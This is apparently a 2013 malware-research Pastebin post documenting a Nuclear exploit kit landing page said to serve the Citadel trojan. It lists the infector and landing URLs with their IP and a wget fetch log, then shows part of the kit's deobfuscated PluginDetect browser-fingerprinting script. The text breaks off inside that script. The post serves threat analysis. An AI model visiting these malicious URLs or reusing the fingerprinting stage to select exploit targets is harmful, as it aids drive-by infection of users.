Advertisement
MalwareMustDie

Nuclear EK Landing Page in Japan serves Citadel

Nov 8th, 2013
1,654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Nuclear EK Landing Page in Japan serves Citadel
  2. #MalwareMustDie - credit: @kafeine for the hint.
  3.  
  4. /* The Infector */
  5.  
  6. http://moro-movie.com/jp.php
  7.  
  8. /* Had the plain text iframe lead to
  9. http://c1hdm.scanbegin.biz:53331/decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html */
  10.  
  11. --2013-11-09 00:44:01--  http://c1hdm.scanbegin.biz:53331/decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html
  12. Resolving c1hdm.scanbegin.biz... 142.4.194.3
  13. Caching c1hdm.scanbegin.biz => 142.4.194.3
  14. Connecting to c1hdm.scanbegin.biz|142.4.194.3|:53331... connected.
  15.  
  16. ---request begin---
  17. GET /decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html HTTP/1.1
  18. Referer: http://moro-movie.com/jp.php
  19. Host: c1hdm.scanbegin.biz:53331
  20. Connection: Keep-Alive
  21. HTTP request sent, awaiting response...
  22.  
  23. ---response begin---
  24. HTTP/1.1 200 OK
  25. Server: nginx/0.7.67
  26. Date: Fri, 08 Nov 2013 15:48:10 GMT
  27. Content-Type: text/html
  28. Transfer-Encoding: chunked
  29. Connection: keep-alive
  30. X-Powered-By: PHP/5.3.27
  31. Vary: Accept-Encoding,User-Agent
  32.  
  33. ---response end---
  34. 200 OK
  35. Length: unspecified [text/html]
  36. Saving to: ‘3e7495364177065c66f59a910d144fdf.html
  37. c66f59a910d144fdf.html’ saved [79264]
  38.  
  39. /* Za Plugin Detect */
  40.  
  41. var PluginDetect = {
  42.   version : "0.8.3", name : "PluginDetect", openTag : "<", isDefined : function (b){
  43.     return typeof b != "undefined"
  44.   }
  45.   , isArray : function (b){
  46.     return (/array/i).test(Object.prototype.toString.call(b))
  47.   }
  48.   , isFunc : function (b){
  49.     return typeof b == "function"
  50.   }
  51.   , isString : function (b){
  52.     return typeof b == "string"
  53.   }
  54.   , isNum : function (b){
  55.     return typeof b == "number"
  56.   }
  57.   , isStrNum : function (b){
  58.     return (typeof b == "string" && (/\d/).test(b))
  59.   }
  60.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,\- ] */, splitNumRegx :/ [ \ . \ _ ,\- ] / g,
  61.   getNum : function (b, c){
  62.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  63.     exec(b) : null;
  64.     return a ? a[0] : null
  65.   }
  66.   , compareNums : function (h, f, d){
  67.     var e = this , c, b, a, g = parseInt;
  68.     if (e.isStrNum(h) && e.isStrNum(f)){
  69.       if (e.isDefined(d) && d.compareNums){
  70.         return d.compareNums(h, f)
  71.       }
  72.       c = h.split(e.splitNumRegx);
  73.       b = f.split(e.splitNumRegx);
  74.       for (a = 0; a < Math.min(c.length, b.length);
  75.       a ++ ){
  76.         if (g(c[a], 10) > g(b[a], 10)){
  77.           return 1
  78.         }
  79.         if (g(c[a], 10) < g(b[a], 10)){
  80.           return  - 1
  81.         }
  82.       }
  83.     }
  84.     return 0
  85.   }
  86.   , formatNum : function (b, c){
  87.     var d = this , a, e;
  88.     if (!d.isStrNum(b)){
  89.       return null
  90.     }
  91.     if (!d.isNum(c)){
  92.       c = 4
  93.     }
  94.     c--;
  95.     e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  96.     for (a = 0; a < 4; a ++ ){
  97.       if (/^(0+)(.+)$/.test(e[a])){
  98.         e[a] = RegExp.$2
  99.       }
  100.       if (a > c ||! (/\d/).test(e[a])){
  101.         e[a] = "0"
  102.       }
  103.     }
  104.     return e.slice(0, 4).join(",")
  105.   }
  106.   , getPROP : function (d, b, a){
  107.     var c;
  108.     try {
  109.       if (d){
  110.         a = d[b]
  111.       }
  112.     }
  113.     catch (c){
  114.     }
  115.     return a
  116.   }
  117.   , findNavPlugin : function (l, e, c){
  118.     var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  119.     new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  120.     for (f = 0; f < a.length; f ++ ){
  121.       m = a[f].description || g;
  122.       b = a[f].name || g;
  123.       if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  124.       test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  125.         if (!k ||! (k.test(m) || k.test(b))){
  126.           return a[f]
  127.         }
  128.       }
  129.     }
  130.     return null
  131.   }
  132.   , getMimeEnabledPlugin : function (k, m, c){
  133.     var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  134.     , d, j = e.isString(k) ? [k] : k;
  135.     for (d = 0; d < j.length; d ++ ){
  136.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  137.         l = f.description || h;
  138.         a = f.name || h;
  139.         if (b.test(l) || b.test(a)){
  140.           if (!g ||! (g.test(l) || g.test(a))){
  141.             return f
  142.           }
  143.         }
  144.       }
  145.     }
  146.     return 0
  147.   }
  148.   , getVersionDelimiter : ",", findPlugin : function (d){
  149.     var c = this , b, d, a = {
  150.       status :- 3, plugin : 0
  151.     }
  152.     ;
  153.     if (c.DOM){
  154.       c.DOM.initDiv()
  155.     }
  156.     if (!c.isString(d)){
  157.       return a
  158.     }
  159.     if (d.length == 1){
  160.       c.getVersionDelimiter = d;
  161.       return a
  162.     }
  163.     d = d.toLowerCase().replace(/\s/g, "");
  164.     b = c.Plugins[d];
  165.     if (!b ||! b.getVersion){
  166.       return a
  167.     }
  168.     a.plugin = b;
  169.     a.status = 1;
  170.     return a
  171.   }
  172.   , getPluginFileVersion : function (f, b){
  173.     var h = this , e, d, g, a, c =- 1;
  174.     if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  175.       return b
  176.     }
  177.     if (!b){
  178.       return e
  179.     }
  180.     e = h.formatNum(e);
  181.     b = h.formatNum(b);
  182.     d = b.split(h.splitNumRegx);
  183.     g = e.split(h.splitNumRegx);
  184.     for (a = 0; a < d.length; a ++ ){
  185.       if (c >- 1 && a > c && d[a] != "0"){
  186.         return b
  187.       }
  188.       if (g[a] != d[a]){
  189.         if (c ==- 1){
  190.           c = a
  191.         }
  192.         if (d[a] != "0"){
  193.           return b
  194.         }
  195.       }
  196.     }
  197.     return e
  198.   }
  199.   , AXO : window.ActiveXObject, getAXO : function (a){
  200.     var d = null, c, b = this ;
  201.     try {
  202.       d = new b.AXO(a)
  203.     }
  204.     catch (c){
  205.     }
  206.     ;
  207.     return d
  208.   }
  209.   , INIT : function (){
  210.     this .init.library(this )
  211.   }
  212.   , init : {
  213.     $ : 1, hasRun : 0, objProperties : function (d, e, b){
  214.       var a, c = {
  215.       }
  216.       ;
  217.       if (e && b){
  218.         if (e[b[0]] === 1 &&! d.isArray(e) &&! d.isFunc(e) &&! d.isString(e) &&! d.isNum(e
  219.         )){
  220.           for (a = 0; a < b.length; a = a + 2){
  221.             e[b[a]] = b[a + 1];
  222.             c[b[a]] = 1
  223.           }
  224.         }
  225.         for (ain e){
  226.           if (!c[a] && e[a] && e[a][b[0]] === 1){
  227.             this .objProperties(d, e[a], b)
  228.           }
  229.         }
  230.       }
  231.     }
  232.     , publicMethods : function (c, f){
  233.       var g = this , b = g.$, a, d;
  234.       if (c && f){
  235.         for (ain c){
  236.           try {
  237.             if (b.isFunc(c[a])){
  238.               f[a] = c[a](f)
  239.             }
  240.           }
  241.           catch (d){
  242.           }
  243.         }
  244.       }
  245.     }
  246.     , plugin : function (a, c){
  247.       var d = this , b = d.$;
  248.       if (a){
  249.         d.objProperties(b, a, ["$", b, "$$", a]);
  250.         if (!b.isDefined(a.getVersionDone)){
  251.           a.installed = null;
  252.           a.version = null;
  253.           a.version0 = null;
  254.           a.getVersionDone = null;
  255.           a.pluginName = c
  256.         }
  257.       }
  258.     }
  259.     , detectIE : function (){
  260.       var init = this , $ = init.$, doc = document, e, x, userAgent = navigator.userAgent
  261.        || "", progid, progid1, progid2;
  262.       $.isIE = eval("/*@cc_on!@*/!1");
  263.       $.verIE = $.isIE ? ((/^(?:.*?[^a-zA-Z])??(?:MSIE|IE)\s*(\d+\.?\d*)/i).test(userAgent
  264.       ) ? parseFloat(RegExp.$1, 10) : 7) : null;
  265.       $.ActiveXEnabled =! 1;
  266.       $.ActiveXFilteringEnabled =! 1;
  267.       if ($.isIE){
  268.         try {
  269.           $.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  270.         }
  271.         catch (e){
  272.         }
  273.         progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  274.         "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper",
  275.         "Scripting.Dictionary"];
  276.         progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl",
  277.         ];
  278.         progid = progid1.concat(progid2);
  279.         for (x = 0; x < progid.length; x ++ ){
  280.           if ($.getAXO(progid[x])){
  281.             $.ActiveXEnabled =! 0;
  282.             if (!$.dbug){
  283.               break
  284.             }
  285.           }
  286.         }
  287.         if ($.ActiveXEnabled && $.ActiveXFilteringEnabled){
  288.           for (x = 0; x < progid2.length; x ++ ){
  289.             if ($.getAXO(progid2[x])){
  290.               $.ActiveXFilteringEnabled =! 1;
  291.               break
  292.             }
  293.           }
  294.         }
  295.       }
  296.     }
  297.     , detectNonIE : function (){
  298.       var e = this , c = this .$, d = navigator, b = c.isIE ? "" : d.userAgent || "", f =
  299.       d.vendor || "", a = d.product || "";
  300.       c.isGecko = (/Gecko/i).test(a) && (/Gecko\s*\/\s*\d/i).test(b);
  301.       c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(b) ? RegExp.$1 :
  302.       "0.9") : null;
  303.       c.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(b);
  304.       c.verChrome = c.isChrome ? c.formatNum(RegExp.$2) : null;
  305.       c.isSafari =! c.isChrome && ((/Apple/i).test(f) ||! f) && (
  306.       /Safari\s*\/\s*(\d[\d\.]*)/i).test(b);
  307.       c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(b) ? c.formatNum(
  308.       RegExp.$1) : null;
  309.       c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(b);
  310.       c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(b) || 1) ?
  311.       parseFloat(RegExp.$1, 10) : null
  312.     }
  313.     , detectPlatform : function (){
  314.       var e = this , d = e.$, b, a = navigator.platform || "";
  315.       d.OS = 100;
  316.       if (a){
  317.         var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
  318.         21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  319.         100];
  320.         for (b = c.length - 2; b >= 0; b = b - 2){
  321.           if (c[b] && new RegExp(c[b], "i").test(a)){
  322.             d.OS = c[b + 1];
  323.             break
  324.           }
  325.         }
  326.       }
  327.     }
  328.     , library : function (c){
  329.       var e = this , d = document, b, a;
  330.       c.init.objProperties(c, c, ["$", c]);
  331.       for (ain c.Plugins){
  332.         c.init.plugin(c.Plugins[a], a)
  333.       }
  334.       e.publicMethods(c.PUBLIC, c);
  335.       c.win.init();
  336.       c.head = d.getElementsByTagName("head")[0] || d.getElementsByTagName("body")[0] || d
  337.       .body || null;
  338.       e.detectPlatform();
  339.       e.detectIE();
  340.       e.detectNonIE();
  341.       c.init.hasRun = 1
  342.     }
  343.   }
  344.   , ev : {
  345.     $ : 1, handler : function (c, b, a){
  346.       return function (){
  347.         c(b, a)
  348.       }
  349.     }
  350.     , fPush : function (b, a){
  351.       var c = this , d = c.$;
  352.       if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0
  353.       ])))){
  354.         a.push(b)
  355.       }
  356.     }
  357.     , callArray : function (a){
  358.       var b = this , d = b.$, c;
  359.       if (d.isArray(a)){
  360.         while (a.length){
  361.           c = a[0];
  362.           a.splice(0, 1);
  363.           b.call(c)
  364.         }
  365.       }
  366.     }
  367.     , call : function (d){
  368.       var b = this , c = b.$, a = c.isArray(d) ? d.length :- 1;
  369.       if (a > 0 && c.isFunc(d[0])){
  370.         d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  371.       }
  372.       else {
  373.         if (c.isFunc(d)){
  374.           d(c)
  375.         }
  376.       }
  377.     }
  378.   }
  379.   , PUBLIC : {
  380.     isMinVersion : function (b){
  381.       var a = function (j, h, e, d){
  382.         var f = b.findPlugin(j), g, c =- 1;
  383.         if (f.status < 0){
  384.           return f.status
  385.         }
  386.         g = f.plugin;
  387.         h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
  388.         if (g.getVersionDone != 1){
  389.           g.getVersion(h, e, d);
  390.           if (g.getVersionDone === null){
  391.             g.getVersionDone = 1
  392.           }
  393.         }
  394.         if (g.installed !== null){
  395.           c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version ===
  396.           null           ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 :- 0.1)))
  397.         }
  398.         ;
  399.         return c
  400.       }
  401.       ;
  402.       return a
  403.     }
  404.     , getVersion : function (b){
  405.       var a = function (h, e, d){
  406.         var f = b.findPlugin(h), g, c;
  407.         if (f.status < 0){
  408.           return null
  409.         }
  410.         ;
  411.         g = f.plugin;
  412.         if (g.getVersionDone != 1){
  413.           g.getVersion(null, e, d);
  414.           if (g.getVersionDone === null){
  415.             g.getVersionDone = 1
  416.           }
  417.         }
  418.         c = (g.version || g.version0);
  419.         c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  420.         return c
  421.       }
  422.       ;
  423.       return a
  424.     }
  425.     , onDetectionDone : function (b){
  426.       var a = function (j, h, d, c){
  427.         var e = b.findPlugin(j), k, g;
  428.         if (e.status ==- 3){
  429.           return  - 1
  430.         }
  431.         g = e.plugin;
  432.         if (!b.isArray(g.funcs)){
  433.           g.funcs = []
  434.         }
  435.         ;
  436.         if (g.getVersionDone != 1){
  437.           k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  438.         }
  439.         if (g.installed !=- 0.5 && g.installed != 0.5){
  440.           b.ev.call(h);
  441.           return 1
  442.         }
  443.         b.ev.fPush(h, g.funcs);
  444.         return 0
  445.       }
  446.       ;
  447.       return a
  448.     }
  449.     , hasMimeType : function (b){
  450.       var a = function (d){
  451.         if (!b.isIE && d && navigator && navigator.mimeTypes){
  452.           var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  453.           for (c = 0; c < e.length; c ++ ){
  454.             if (b.isString(e[c]) &&/ [ ^\ s] / .test(e[c])){
  455.               g = navigator.mimeTypes[e[c]];
  456.               f = g ? g.enabledPlugin : 0;
  457.               if (f && (f.name || f.description)){
  458.                 return g
  459.               }
  460.             }
  461.           }
  462.         }
  463.         return null
  464.       }
  465.       ;
  466.       return a
  467.     }
  468.     , z : 0
  469.   }
  470.   , codebase : {
  471.     $ : 1, isDisabled : function (){
  472.       var a = this , b = a.$;
  473.       return b.ActiveXEnabled && b.isIE && b.verIE >= 7 ? 0 : 1
  474.     }
  475.     , checkGarbage : function (d){
  476.       var b = this , c = b.$, a;
  477.       if (c.isIE && d && c.getPROP(d.firstChild, "object")){
  478.         a = c.getPROP(d.firstChild, "readyState");
  479.         if (c.isNum(a) && a != 4){
  480.           b.garbage = 1;
  481.           return 1
  482.         }
  483.       }
  484.       return 0
  485.     }
  486.     , emptyGarbage : function (){
  487.       var a = this , b = a.$, c;
  488.       if (b.isIE && a.garbage){
  489.         try {
  490.           window.CollectGarbage()
  491.         }
  492.         catch (c){
  493.         }
  494.         a.garbage = 0
  495.       }
  496.     }
  497.     , init : function (e){
  498.       if (!e.init){
  499.         var c = this , d = c.$, a, b;
  500.         e.init = 1;
  501.         e.min = 0;
  502.         e.max = 0;
  503.         e.hasRun = 0;
  504.         e.version = null;
  505.         e.L = 0;
  506.         e.altHTML = "";
  507.         e.span = document.createElement("span");
  508.         e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  509.         b = e.classID || e.$$.classID || "";
  510.         e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.
  511.         altHTML + d.openTag + "/object>";
  512.         for (a = 0; a < e.Lower.length; a ++ ){
  513.           e.Lower[a] = d.formatNum(e.Lower[a]);
  514.           e.Upper[a] = d.formatNum(e.Upper[a])
  515.         }
  516.       }
  517.     }
  518.     , isActiveXObject : function (i, b){
  519.       var f = this , g = f.$, a = 0, h, d = i.$$, c = i.span;
  520.       if (i.min && g.compareNums(b, i.min) <= 0){
  521.         return 1
  522.       }
  523.       if (i.max && g.compareNums(b, i.max) >= 0){
  524.         return 0
  525.       }
  526.       c.innerHTML = i.tagA + b + i.tagB;
  527.       if (g.getPROP(c.firstChild, "object")){
  528.         a = 1
  529.       }
  530.       ;
  531.       f.checkGarbage(c);
  532.       c.innerHTML = "";
  533.       if (a){
  534.         i.min = b
  535.       }
  536.       else {
  537.         i.max = b
  538.       }
  539.       return a
  540.     }
  541.     , convert_ : function (f, a, b, e){
  542.       var d = f.convert[a], c = f.$;
  543.       return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) :
  544.       d
  545.     }
  546.     , convert : function (h, c, g){
  547.       var e = this , f = h.$, b, a, d;
  548.       c = f.formatNum(c);
  549.       a = {
  550.         v : c, x :- 1
  551.       }
  552.       ;
  553.       if (c){
  554.         for (b = 0; b < h.Lower.length; b ++ ){
  555.           d = e.convert_(h, b, h.Lower[b]);
  556.           if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ?
  557.           e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)){
  558.             a.v = e.convert_(h, b, c, g);
  559.             a.x = b;
  560.             break
  561.           }
  562.         }
  563.       }
  564.       return a
  565.     }
  566.     , isMin : function (g, f){
  567.       var d = this , e = g.$, c, b, a = 0;
  568.       d.init(g);
  569.       if (!e.isStrNum(f) || d.isDisabled()){
  570.         return a
  571.       }
  572.       ;
  573.       if (!g.L){
  574.         g.L = {
  575.         }
  576.         ;
  577.         for (c = 0; c < g.Lower.length; c ++ ){
  578.           if (d.isActiveXObject(g, g.Lower[c])){
  579.             g.L = d.convert(g, g.Lower[c]);
  580.             break
  581.           }
  582.         }
  583.       }
  584.       if (g.L.v){
  585.         b = d.convert(g, f, 1);
  586.         if (b.x >= 0){
  587.           a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ?
  588.           1 :- 1
  589.         }
  590.       }
  591.       ;
  592.       return a
  593.     }
  594.     , search : function (g){
  595.       var k = this , h = k.$, i = g.$$, b = 0, c;
  596.       k.init(g);
  597.       c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  598.       g.hasRun = 1;
  599.       if (c){
  600.         return g.version
  601.       }
  602.       ;
  603.       var o, n, m, j = function (q, t){
  604.         var r = [].concat(f), s;
  605.         r[q] = t;
  606.         s = k.isActiveXObject(g, r.join(","));
  607.         if (s){
  608.           b = 1;
  609.           f[q] = t
  610.         }
  611.         else {
  612.           p[q] = t
  613.         }
  614.         return s
  615.       }
  616.       , d = g.DIGITMAX, e, a, l = 99999999, f = [0, 0, 0, 0], p = [0, 0, 0, 0];
  617.       for (o = 0; o < p.length; o ++ ){
  618.         f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  619.         e = f.join(",");
  620.         a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  621.         for (m = 0; m < d.length; m ++ ){
  622.           if (h.isArray(d[m])){
  623.             d[m].push(0);
  624.             if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.
  625.             Upper[m]) < 0){
  626.               p[o] = Math.floor(d[m][o])
  627.             }
  628.           }
  629.         }
  630.         for (n = 0; n < 30; n ++ ){
  631.           if (p[o] - f[o] <= 16){
  632.             for (m = p[o];
  633.             m >= f[o] + (o ? 1 : 0);
  634.             m -- ){
  635.               if (j(o, m)){
  636.                 break
  637.               }
  638.             }
  639.             break
  640.           }
  641.           j(o, Math.round((p[o] + f[o]) / 2))
  642.         }
  643.         if (!b){
  644.           break
  645.         }
  646.         p[o] = f[o]
  647.       }
  648.       if (b){
  649.         g.version = k.convert(g, f.join(",")).v
  650.       }
  651.       ;
  652.       return g.version
  653.     }
  654.   }
  655.   , win : {
  656.     $ : 1, loaded : false, hasRun : 0, init : function (){
  657.       var b = this , a = b.$;
  658.       if (!b.hasRun){
  659.         b.hasRun = 1;
  660.         b.addEvent("load", a.ev.handler(b.runFuncs, a));
  661.         b.addEvent("unload", a.ev.handler(b.cleanup, a))
  662.       }
  663.     }
  664.     , addEvent : function (c, b){
  665.       var e = this , d = e.$, a = window;
  666.       if (d.isFunc(b)){
  667.         if (a.addEventListener){
  668.           a.addEventListener(c, b, false)
  669.         }
  670.         else {
  671.           if (a.attachEvent){
  672.             a.attachEvent("on" + c, b)
  673.           }
  674.           else {
  675.             a["on" + c] = e.concatFn(b, a["on" + c])
  676.           }
  677.         }
  678.       }
  679.     }
  680.     , concatFn : function (d, c){
  681.       return function (){
  682.         d();
  683.         if (typeof c == "function"){
  684.           c()
  685.         }
  686.       }
  687.     }
  688.     , funcs0 : [], funcs : [], cleanup : function (b){
  689.       if (b){
  690.         for (var ain b){
  691.           b[a] = 0
  692.         }
  693.         b = 0
  694.       }
  695.     }
  696.     , runFuncs : function (a){
  697.       if (a &&! a.win.loaded){
  698.         a.win.loaded = true;
  699.         a.ev.callArray(a.win.funcs0);
  700.         a.ev.callArray(a.win.funcs);
  701.         if (a.DOM){
  702.           a.DOM.onDoneEmptyDiv()
  703.         }
  704.       }
  705.     }
  706.     , z : 0
  707.   }
  708.   , DOM : {
  709.     $ : 1, isEnabled : {
  710.       $ : 1, objectTag : function (){
  711.         var a = this .$;
  712.         return a.isIE ? a.ActiveXEnabled : 1
  713.       }
  714.       , objectProperty : function (){
  715.         var a = this .$;
  716.         return a.isIE && a.verIE >= 7 ? 1 : 0
  717.       }
  718.     }
  719.     , div : null, divID : "plugindetect", divClass : "doNotRemove", divWidth : 50, getDiv :
  720.     function (){
  721.       var a = this ;
  722.       return a.div || document.getElementById(a.divID) || null
  723.     }
  724.     , isDivPermanent : function (){
  725.       var b = this , c = b.$, a = b.getDiv();
  726.       return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.
  727.       toLowerCase()) >- 1 ? 1 : 0
  728.     }
  729.     , initDiv : function (b){
  730.       var c = this , d = c.$, a;
  731.       if (!c.div){
  732.         a = c.getDiv();
  733.         if (a){
  734.           c.div = a
  735.         }
  736.         else {
  737.           if (b){
  738.             c.div = document.createElement("div");
  739.             c.div.id = c.divID
  740.           }
  741.         }
  742.         if (c.div){
  743.           c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth
  744.            + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) +
  745.           "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  746.           if (!a){
  747.             c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  748.             c.insertDivInBody(c.div)
  749.           }
  750.         }
  751.       }
  752.     }
  753.     , pluginSize : 1, altHTML : "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", emptyNode : function (c
  754.     ){
  755.       var b = this , d = b.$, a, f;
  756.       if (c && c.childNodes){
  757.         for (a = c.childNodes.length - 1; a >= 0; a -- ){
  758.           if (d.isIE){
  759.             b.setStyle(c.childNodes[a], ["display", "none"])
  760.           }
  761.           c.removeChild(c.childNodes[a])
  762.         }
  763.       }
  764.     }
  765.     , LASTfuncs : [], onDoneEmptyDiv : function (){
  766.       var f = this , g = f.$, b, d, c, a, h;
  767.       f.initDiv();
  768.       if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length){
  769.         return
  770.       }
  771.       for (bin g.Plugins){
  772.         d = g.Plugins[b];
  773.         if (d){
  774.           if (d.OTF == 3 || (d.funcs && d.funcs.length)){
  775.             return
  776.           }
  777.         }
  778.       }
  779.       g.ev.callArray(f.LASTfuncs);
  780.       a = f.getDiv();
  781.       if (a){
  782.         if (f.isDivPermanent()){
  783.         }
  784.         else {
  785.           if (a.childNodes){
  786.             for (b = a.childNodes.length - 1; b >= 0; b -- ){
  787.               c = a.childNodes[b];
  788.               f.emptyNode(c)
  789.             }
  790.             try {
  791.               a.innerHTML = ""
  792.             }
  793.             catch (h){
  794.             }
  795.           }
  796.           if (a.parentNode){
  797.             try {
  798.               a.parentNode.removeChild(a)
  799.             }
  800.             catch (h){
  801.             }
  802.             a = null;
  803.             f.div = null
  804.           }
  805.         }
  806.       }
  807.     }
  808.     , width : function (){
  809.       var g = this , e = g.DOM, f = e.$, d = g.span, b, c, a =- 1;
  810.       b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  811.       c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  812.       return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  813.     }
  814.     , obj : function (b){
  815.       var d = this , c = d.span, a = c && c.firstChild ? c.firstChild : null;
  816.       return a
  817.     }
  818.     , readyState : function (){
  819.       var b = this , a = b.DOM.$;
  820.       return a.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  821.     }
  822.     , objectProperty : function (){
  823.       var d = this , b = d.DOM, c = b.$, a;
  824.       if (b.isEnabled.objectProperty()){
  825.         a = c.getPROP(d.obj(), "object")
  826.       }
  827.       return a
  828.     }
  829.     , getTagStatus : function (b, m, r, p, f, h){
  830.       var s = this , d = s.$, q;
  831.       if (!b ||! b.span){
  832.         return  - 2
  833.       }
  834.       var k = b.width(), c = b.readyState(), a = b.objectProperty();
  835.       if (a){
  836.         return 1.5
  837.       }
  838.       var g =/ clsid \ s *\:/ i, o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.
  839.       outerHTML || "") ? p : 0), i = r &&! g.test(r.outerHTML || "") ? r : (p &&! g.test(p
  840.       .outerHTML || "") ? p : 0), l = b && g.test(b.outerHTML || "") ? o : i;
  841.       if (!m ||! m.span ||! l ||! l.span){
  842.         return 0
  843.       }
  844.       var j = l.width(), n = m.width(), t = l.readyState();
  845.       if (k < 0 || j < 0 || n <= s.pluginSize){
  846.         return 0
  847.       }
  848.       if (h &&! b.pi && d.isDefined(a) && d.isIE && b.tagName == l.tagName && b.time <= l.
  849.       time && k === j && c === 0 && t !== 0){
  850.         b.pi = 1
  851.       }
  852.       if (j < n){
  853.         return b.pi ?- 0.1 : 0
  854.       }
  855.       if (k >= n){
  856.         if (!b.winLoaded && d.win.loaded){
  857.           return b.pi ?- 0.5 :- 1
  858.         }
  859.         if (d.isNum(f)){
  860.           if (!d.isNum(b.count2)){
  861.             b.count2 = f
  862.           }
  863.           if (f - b.count2 > 0){
  864.             return b.pi ?- 0.5 :- 1
  865.           }
  866.         }
  867.       }
  868.       try {
  869.         if (k == s.pluginSize && (!d.isIE || c === 4)){
  870.           if (!b.winLoaded && d.win.loaded){
  871.             return 1
  872.           }
  873.           if (b.winLoaded && d.isNum(f)){
  874.             if (!d.isNum(b.count)){
  875.               b.count = f
  876.             }
  877.             if (f - b.count >= 5){
  878.               return 1
  879.             }
  880.           }
  881.         }
  882.       }
  883.       catch (q){
  884.       }
  885.       return b.pi ?- 0.1 : 0
  886.     }
  887.     , setStyle : function (b, h){
  888.       var c = this , d = c.$, g = b.style, a, f;
  889.       if (g && h){
  890.         for (a = 0; a < h.length; a = a + 2){
  891.           try {
  892.             g[h[a]] = h[a + 1]
  893.           }
  894.           catch (f){
  895.           }
  896.         }
  897.       }
  898.     }
  899.     , insertDivInBody : function (a, h){
  900.       var j = this , d = j.$, g, b = "pd33993399", c = null, i = h ? window.top.document :
  901.       window.document, f = i.getElementsByTagName("body")[0] || i.body;
  902.       if (!f){
  903.         try {
  904.           i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  905.           c = i.getElementById(b)
  906.         }
  907.         catch (g){
  908.         }
  909.       }
  910.       f = i.getElementsByTagName("body")[0] || i.body;
  911.       if (f){
  912.         f.insertBefore(a, f.firstChild);
  913.         if (c){
  914.           f.removeChild(c)
  915.         }
  916.       }
  917.     }
  918.     , defaultStyle : ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle",
  919.     "none", "padding", "0px", "margin", "0px", "visibility", "visible"], insert : function
  920.     (b, i, g, h, c, q, o){
  921.       var s = this , f = s.$, r, t = document, v, m, p = t.createElement("span"), k, a, l =
  922.       "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ?
  923.       "hidden;" : "visible;") + "display:inline;";
  924.       if (!f.isDefined(h)){
  925.         h = ""
  926.       }
  927.       if (f.isString(b) && (/[^\s]/).test(b)){
  928.         b = b.toLowerCase().replace(/\s/g, "");
  929.         v = f.openTag + b + " ";
  930.         v += 'style="' + l + '" ';
  931.         var j = 1, u = 1;
  932.         for (k = 0; k < i.length; k = k + 2){
  933.           if (/[^\s]/.test(i[k + 1])){
